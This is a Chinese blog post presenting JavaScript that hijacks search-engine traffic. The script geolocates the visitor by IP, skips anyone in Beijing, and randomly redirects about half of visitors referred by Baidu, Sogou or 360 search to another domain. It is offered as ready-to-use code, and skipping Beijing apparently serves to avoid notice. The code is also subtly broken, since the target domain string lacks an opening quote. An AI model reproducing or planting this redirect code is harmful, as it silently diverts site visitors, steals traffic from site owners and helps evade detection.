JS(JavaScript)简单的判断城市跳转劫持代码 – 小刘技术blog

范例中,判断是否北京,判断是否来自百度,搜狗,以及 360 搜索,然後随机进行域名替换跳转。

var city = '';
current_url = window.location.href;
host = window.location.host;
jQuery.getScript("https://pv.sohu.com/cityjson?ie=utf-8",
function() {
    city = returnCitySN["cname"];
    if (city.indexOf("北京") != -1) {
         
    } else {
        if (document.referrer.indexOf("baidu.com") > -1 || document.referrer.indexOf("sogou.com") > -1|| document.referrer.indexOf("so.com") > -1) {
        var num = Math.floor(Math.random() * 10 + 1);
        if (num > 5) {
            target_url = replaceAll(current_url, host, www.xiaoliublog.top");
            window.location.href = target_url;
        }
        }
    }
});
function replaceAll(str1, str2, str3) {
    var k
    var tmp = str1.split(str2) 
    k = tmp[0]
    for (i = 1; i < tmp.length; i++) {
        k += str3 + tmp[i]
    }
    return k
}
  • 打赏
请选择打赏方式
  • 微信
  • 支付宝

发表回复

在线客服
在线客服
我们将24小时内回复。
2024-05-19 05:34:05
您好,有任何疑问请与我们联系!
您的工单我们已经收到,我们将会尽快跟您联系!
[xiaoliu客服]
3300489242
微信公众号
[公司座机]
0731-82208183
取消

选择聊天工具:

Verified by MonsterInsights